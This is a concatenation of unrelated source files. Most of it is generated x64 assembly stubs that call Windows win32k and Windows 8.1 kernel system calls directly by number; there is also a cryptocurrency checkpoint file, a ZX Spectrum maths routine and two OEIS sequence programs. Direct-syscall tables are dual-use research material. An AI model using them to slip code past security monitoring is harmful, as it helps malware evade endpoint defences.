; ULONG64 __stdcall NtUserSetProcessRestrictionExemption( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProcessRestrictionExemption PROC STDCALL
mov r10 , rcx
mov eax , 5235
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProcessRestrictionExemption ENDP
; ULONG64 __stdcall NtUserSetProcessUIAccessZorder( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProcessUIAccessZorder PROC STDCALL
mov r10 , rcx
mov eax , 5236
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProcessUIAccessZorder ENDP
; ULONG64 __stdcall NtUserSetShellWindowEx( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetShellWindowEx PROC STDCALL
mov r10 , rcx
mov eax , 5237
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetShellWindowEx ENDP
; ULONG64 __stdcall NtUserSetSysColors( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetSysColors PROC STDCALL
mov r10 , rcx
mov eax , 5238
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetSysColors ENDP
; ULONG64 __stdcall NtUserSetSystemCursor( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetSystemCursor PROC STDCALL
mov r10 , rcx
mov eax , 5239
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetSystemCursor ENDP
; ULONG64 __stdcall NtUserSetSystemTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetSystemTimer PROC STDCALL
mov r10 , rcx
mov eax , 5240
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetSystemTimer ENDP
; ULONG64 __stdcall NtUserSetTargetForResourceBrokering( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetTargetForResourceBrokering PROC STDCALL
mov r10 , rcx
mov eax , 5241
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetTargetForResourceBrokering ENDP
; ULONG64 __stdcall NtUserSetThreadInputBlocked( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetThreadInputBlocked PROC STDCALL
mov r10 , rcx
mov eax , 5242
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetThreadInputBlocked ENDP
; ULONG64 __stdcall NtUserSetThreadLayoutHandles( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetThreadLayoutHandles PROC STDCALL
mov r10 , rcx
mov eax , 5243
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetThreadLayoutHandles ENDP
; ULONG64 __stdcall NtUserSetWindowArrangement( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowArrangement PROC STDCALL
mov r10 , rcx
mov eax , 5244
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowArrangement ENDP
; ULONG64 __stdcall NtUserSetWindowBand( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowBand PROC STDCALL
mov r10 , rcx
mov eax , 5245
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowBand ENDP
; ULONG64 __stdcall NtUserSetWindowCompositionAttribute( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowCompositionAttribute PROC STDCALL
mov r10 , rcx
mov eax , 5246
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowCompositionAttribute ENDP
; ULONG64 __stdcall NtUserSetWindowCompositionTransition( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowCompositionTransition PROC STDCALL
mov r10 , rcx
mov eax , 5247
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowCompositionTransition ENDP
; ULONG64 __stdcall NtUserSetWindowDisplayAffinity( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowDisplayAffinity PROC STDCALL
mov r10 , rcx
mov eax , 5248
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowDisplayAffinity ENDP
; ULONG64 __stdcall NtUserSetWindowFeedbackSetting( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowFeedbackSetting PROC STDCALL
mov r10 , rcx
mov eax , 5249
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowFeedbackSetting ENDP
; ULONG64 __stdcall NtUserSetWindowRgnEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowRgnEx PROC STDCALL
mov r10 , rcx
mov eax , 5250
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowRgnEx ENDP
; ULONG64 __stdcall NtUserSetWindowShowState( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowShowState PROC STDCALL
mov r10 , rcx
mov eax , 5251
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowShowState ENDP
; ULONG64 __stdcall NtUserSetWindowStationUser( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowStationUser PROC STDCALL
mov r10 , rcx
mov eax , 5252
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowStationUser ENDP
; ULONG64 __stdcall NtUserShowCursor( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowCursor PROC STDCALL
mov r10 , rcx
mov eax , 5253
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowCursor ENDP
; ULONG64 __stdcall NtUserShowSystemCursor( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowSystemCursor PROC STDCALL
mov r10 , rcx
mov eax , 5254
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowSystemCursor ENDP
; ULONG64 __stdcall NtUserShutdownBlockReasonCreate( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShutdownBlockReasonCreate PROC STDCALL
mov r10 , rcx
mov eax , 5255
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShutdownBlockReasonCreate ENDP
; ULONG64 __stdcall NtUserShutdownBlockReasonQuery( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShutdownBlockReasonQuery PROC STDCALL
mov r10 , rcx
mov eax , 5256
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShutdownBlockReasonQuery ENDP
; ULONG64 __stdcall NtUserShutdownReasonDestroy( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShutdownReasonDestroy PROC STDCALL
mov r10 , rcx
mov eax , 5257
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShutdownReasonDestroy ENDP
; ULONG64 __stdcall NtUserSignalRedirectionStartComplete( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSignalRedirectionStartComplete PROC STDCALL
mov r10 , rcx
mov eax , 5258
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSignalRedirectionStartComplete ENDP
; ULONG64 __stdcall NtUserSlicerControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSlicerControl PROC STDCALL
mov r10 , rcx
mov eax , 5259
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSlicerControl ENDP
; ULONG64 __stdcall NtUserSoundSentry( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSoundSentry PROC STDCALL
mov r10 , rcx
mov eax , 5260
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSoundSentry ENDP
; ULONG64 __stdcall NtUserStopAndEndInertia( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserStopAndEndInertia PROC STDCALL
mov r10 , rcx
mov eax , 5261
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserStopAndEndInertia ENDP
; ULONG64 __stdcall NtUserSwitchDesktop( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSwitchDesktop PROC STDCALL
mov r10 , rcx
mov eax , 5262
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSwitchDesktop ENDP
; ULONG64 __stdcall NtUserSystemParametersInfoForDpi( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSystemParametersInfoForDpi PROC STDCALL
mov r10 , rcx
mov eax , 5263
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSystemParametersInfoForDpi ENDP
; ULONG64 __stdcall NtUserTestForInteractiveUser( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTestForInteractiveUser PROC STDCALL
mov r10 , rcx
mov eax , 5264
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTestForInteractiveUser ENDP
; ULONG64 __stdcall NtUserTrackPopupMenuEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTrackPopupMenuEx PROC STDCALL
mov r10 , rcx
mov eax , 5265
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTrackPopupMenuEx ENDP
; ULONG64 __stdcall NtUserTransformPoint( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTransformPoint PROC STDCALL
mov r10 , rcx
mov eax , 5266
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTransformPoint ENDP
; ULONG64 __stdcall NtUserTransformRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTransformRect PROC STDCALL
mov r10 , rcx
mov eax , 5267
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTransformRect ENDP
; ULONG64 __stdcall NtUserUndelegateInput( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUndelegateInput PROC STDCALL
mov r10 , rcx
mov eax , 5268
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUndelegateInput ENDP
; ULONG64 __stdcall NtUserUnloadKeyboardLayout( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnloadKeyboardLayout PROC STDCALL
mov r10 , rcx
mov eax , 5269
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnloadKeyboardLayout ENDP
; ULONG64 __stdcall NtUserUnlockWindowStation( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnlockWindowStation PROC STDCALL
mov r10 , rcx
mov eax , 5270
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnlockWindowStation ENDP
; ULONG64 __stdcall NtUserUnregisterHotKey( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnregisterHotKey PROC STDCALL
mov r10 , rcx
mov eax , 5271
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnregisterHotKey ENDP
; ULONG64 __stdcall NtUserUnregisterSessionPort( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnregisterSessionPort PROC STDCALL
mov r10 , rcx
mov eax , 5272
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnregisterSessionPort ENDP
; ULONG64 __stdcall NtUserUnregisterUserApiHook( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnregisterUserApiHook PROC STDCALL
mov r10 , rcx
mov eax , 5273
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnregisterUserApiHook ENDP
; ULONG64 __stdcall NtUserUpdateDefaultDesktopThumbnail( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateDefaultDesktopThumbnail PROC STDCALL
mov r10 , rcx
mov eax , 5274
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateDefaultDesktopThumbnail ENDP
; ULONG64 __stdcall NtUserUpdateInputContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateInputContext PROC STDCALL
mov r10 , rcx
mov eax , 5275
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateInputContext ENDP
; ULONG64 __stdcall NtUserUpdateInstance( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateInstance PROC STDCALL
mov r10 , rcx
mov eax , 5276
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateInstance ENDP
; ULONG64 __stdcall NtUserUpdateLayeredWindow( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateLayeredWindow PROC STDCALL
mov r10 , rcx
mov eax , 5277
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateLayeredWindow ENDP
; ULONG64 __stdcall NtUserUpdatePerUserSystemParameters( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdatePerUserSystemParameters PROC STDCALL
mov r10 , rcx
mov eax , 5278
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdatePerUserSystemParameters ENDP
; ULONG64 __stdcall NtUserUpdateWindowInputSinkHints( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateWindowInputSinkHints PROC STDCALL
mov r10 , rcx
mov eax , 5279
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateWindowInputSinkHints ENDP
; ULONG64 __stdcall NtUserUpdateWindowTrackingInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateWindowTrackingInfo PROC STDCALL
mov r10 , rcx
mov eax , 5280
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUpdateWindowTrackingInfo ENDP
; ULONG64 __stdcall NtUserUserHandleGrantAccess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUserHandleGrantAccess PROC STDCALL
mov r10 , rcx
mov eax , 5281
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUserHandleGrantAccess ENDP
; ULONG64 __stdcall NtUserValidateHandleSecure( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserValidateHandleSecure PROC STDCALL
mov r10 , rcx
mov eax , 5282
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserValidateHandleSecure ENDP
; ULONG64 __stdcall NtUserWOWCleanup( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWOWCleanup PROC STDCALL
mov r10 , rcx
mov eax , 5283
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWOWCleanup ENDP
; ULONG64 __stdcall NtUserWaitAvailableMessageEx( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWaitAvailableMessageEx PROC STDCALL
mov r10 , rcx
mov eax , 5284
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWaitAvailableMessageEx ENDP
; ULONG64 __stdcall NtUserWaitForInputIdle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWaitForInputIdle PROC STDCALL
mov r10 , rcx
mov eax , 5285
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWaitForInputIdle ENDP
; ULONG64 __stdcall NtUserWaitForMsgAndEvent( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWaitForMsgAndEvent PROC STDCALL
mov r10 , rcx
mov eax , 5286
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWaitForMsgAndEvent ENDP
; ULONG64 __stdcall NtUserWaitForRedirectionStartComplete( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWaitForRedirectionStartComplete PROC STDCALL
mov r10 , rcx
mov eax , 5287
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWaitForRedirectionStartComplete ENDP
; ULONG64 __stdcall NtUserWindowFromDC( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWindowFromDC PROC STDCALL
mov r10 , rcx
mov eax , 5288
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWindowFromDC ENDP
; ULONG64 __stdcall NtUserWindowFromPhysicalPoint( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWindowFromPhysicalPoint PROC STDCALL
mov r10 , rcx
mov eax , 5289
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWindowFromPhysicalPoint ENDP
; ULONG64 __stdcall NtValidateCompositionSurfaceHandle( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtValidateCompositionSurfaceHandle PROC STDCALL
mov r10 , rcx
mov eax , 5290
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtValidateCompositionSurfaceHandle ENDP
; ULONG64 __stdcall NtVisualCaptureBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtVisualCaptureBits PROC STDCALL
mov r10 , rcx
mov eax , 5291
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtVisualCaptureBits ENDP
; ULONG64 __stdcall NtUserSetClassLongPtr( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetClassLongPtr PROC STDCALL
mov r10 , rcx
mov eax , 5292
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetClassLongPtr ENDP
; ULONG64 __stdcall NtUserSetWindowLongPtr( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowLongPtr PROC STDCALL
mov r10 , rcx
mov eax , 5293
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowLongPtr ENDP
|
// Copyright (c) 2009-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2018 The PIVX developers
// Copyright (c) 2019 The MktCoin developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "checkpoints.h"
#include "chainparams.h"
#include "main.h"
#include "uint256.h"
#include <stdint.h>
#include <boost/foreach.hpp>
namespace Checkpoints
{
/**
* How many times we expect transactions after the last checkpoint to
* be slower. This number is a compromise, as it can't be accurate for
* every system. When reindexing from a fast disk with a slow CPU, it
* can be up to 20, while when downloading from a slow network with a
* fast multicore CPU, it won't be much higher than 1.
*/
static const double SIGCHECK_VERIFICATION_FACTOR = 5.0;
bool fEnabled = true;
bool CheckBlock(int nHeight, const uint256& hash)
{
if (!fEnabled)
return true;
const MapCheckpoints& checkpoints = *Params().Checkpoints().mapCheckpoints;
MapCheckpoints::const_iterator i = checkpoints.find(nHeight);
if (i == checkpoints.end()) return true;
return hash == i->second;
}
//! Guess how far we are in the verification process at the given block index
double GuessVerificationProgress(CBlockIndex* pindex, bool fSigchecks)
{
if (pindex == NULL)
return 0.0;
int64_t nNow = time(NULL);
double fSigcheckVerificationFactor = fSigchecks ? SIGCHECK_VERIFICATION_FACTOR : 1.0;
double fWorkBefore = 0.0; // Amount of work done before pindex
double fWorkAfter = 0.0; // Amount of work left after pindex (estimated)
// Work is defined as: 1.0 per transaction before the last checkpoint, and
// fSigcheckVerificationFactor per transaction after.
const CCheckpointData& data = Params().Checkpoints();
if (pindex->nChainTx <= data.nTransactionsLastCheckpoint) {
double nCheapBefore = pindex->nChainTx;
double nCheapAfter = data.nTransactionsLastCheckpoint - pindex->nChainTx;
double nExpensiveAfter = (nNow - data.nTimeLastCheckpoint) / 86400.0 * data.fTransactionsPerDay;
fWorkBefore = nCheapBefore;
fWorkAfter = nCheapAfter + nExpensiveAfter * fSigcheckVerificationFactor;
} else {
double nCheapBefore = data.nTransactionsLastCheckpoint;
double nExpensiveBefore = pindex->nChainTx - data.nTransactionsLastCheckpoint;
double nExpensiveAfter = (nNow - pindex->GetBlockTime()) / 86400.0 * data.fTransactionsPerDay;
fWorkBefore = nCheapBefore + nExpensiveBefore * fSigcheckVerificationFactor;
fWorkAfter = nExpensiveAfter * fSigcheckVerificationFactor;
}
return fWorkBefore / (fWorkBefore + fWorkAfter);
}
int GetTotalBlocksEstimate()
{
if (!fEnabled)
return 0;
const MapCheckpoints& checkpoints = *Params().Checkpoints().mapCheckpoints;
return checkpoints.rbegin()->first;
}
CBlockIndex* GetLastCheckpoint()
{
if (!fEnabled)
return NULL;
const MapCheckpoints& checkpoints = *Params().Checkpoints().mapCheckpoints;
BOOST_REVERSE_FOREACH (const MapCheckpoints::value_type& i, checkpoints) {
const uint256& hash = i.second;
BlockMap::const_iterator t = mapBlockIndex.find(hash);
if (t != mapBlockIndex.end())
return t->second;
}
return NULL;
}
} // namespace Checkpoints
|
;
;
; ZX Maths Routines
;
; 23/05/06 - Stefano Bodrato
;
; $Id: f_yesno.asm,v 1.3 2015/01/19 01:32:57 pauloscustodio Exp $
;
; Support for boolean - save some byte
IF FORzx
INCLUDE "zxfp.def"
ELSE
INCLUDE "81fp.def"
ENDIF
PUBLIC f_yesno
.f_yesno
call ZXFP_FP_TO_BC
IF FORzx
ld h,b
ld l,c
ELSE
ld h,c
ld l,b
ENDIF
xor a
or l
ret z ;sets nc
scf
ret
|
; A206919: Sum of binary palindromes <= n.
; 0,1,1,4,4,9,9,16,16,25,25,25,25,25,25,40,40,57,57,57,57,78,78,78,78,78,78,105,105,105,105,136,136,169,169,169,169,169,169,169,169,169,169,169,169,214,214,214,214,214,214,265,265,265,265,265,265,265,265
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,2
sub $0,$2
mov $3,$0
seq $0,178225 ; Characteristic function of A006995 (binary palindromes).
mul $3,$0
add $1,$3
lpe
mov $0,$1
|
; A136488: a(n) = 2^n - A005418(n).
; 1,2,5,10,22,44,92,184,376,752,1520,3040,6112,12224,24512,49024,98176,196352,392960,785920,1572352,3144704,6290432,12580864,25163776,50327552,100659200,201318400,402644992,805289984,1610596352,3221192704,6442418176,12884836352,25769738240,51539476480,103079084032,206158168064,412316598272,824633196544,1649266917376,3298533834752,6597068718080,13194137436160,26388276969472,52776553938944,105553112072192,211106224144384,422212456677376,844424913354752,1688849843486720,3377699686973440,6755399407501312
mov $4,2
mov $6,$0
lpb $4
mov $0,$6
sub $4,1
add $0,$4
sub $0,1
mov $2,$0
mov $5,1
lpb $2
mul $5,2
add $5,$0
trn $0,2
sub $2,1
sub $5,$0
lpe
mov $3,$4
lpb $3
mov $1,$5
sub $3,1
lpe
lpe
lpb $6
sub $1,$5
mov $6,0
lpe
|
; DO NOT MODIFY THIS FILE DIRECTLY!
; author: @TinySecEx
; ssdt asm stub for 6.3.9600-sp0-windows-8.1 amd64
option casemap:none
option prologue:none
option epilogue:none
.code
; ULONG64 __stdcall NtWorkerFactoryWorkerReady( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtWorkerFactoryWorkerReady PROC STDCALL
mov r10 , rcx
mov eax , 0
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWorkerFactoryWorkerReady ENDP
; ULONG64 __stdcall NtAcceptConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAcceptConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 1
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAcceptConnectPort ENDP
; ULONG64 __stdcall NtMapUserPhysicalPagesScatter( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtMapUserPhysicalPagesScatter PROC STDCALL
mov r10 , rcx
mov eax , 2
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMapUserPhysicalPagesScatter ENDP
; ULONG64 __stdcall NtWaitForSingleObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtWaitForSingleObject PROC STDCALL
mov r10 , rcx
mov eax , 3
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForSingleObject ENDP
; ULONG64 __stdcall NtCallbackReturn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCallbackReturn PROC STDCALL
mov r10 , rcx
mov eax , 4
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCallbackReturn ENDP
; ULONG64 __stdcall NtReadFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
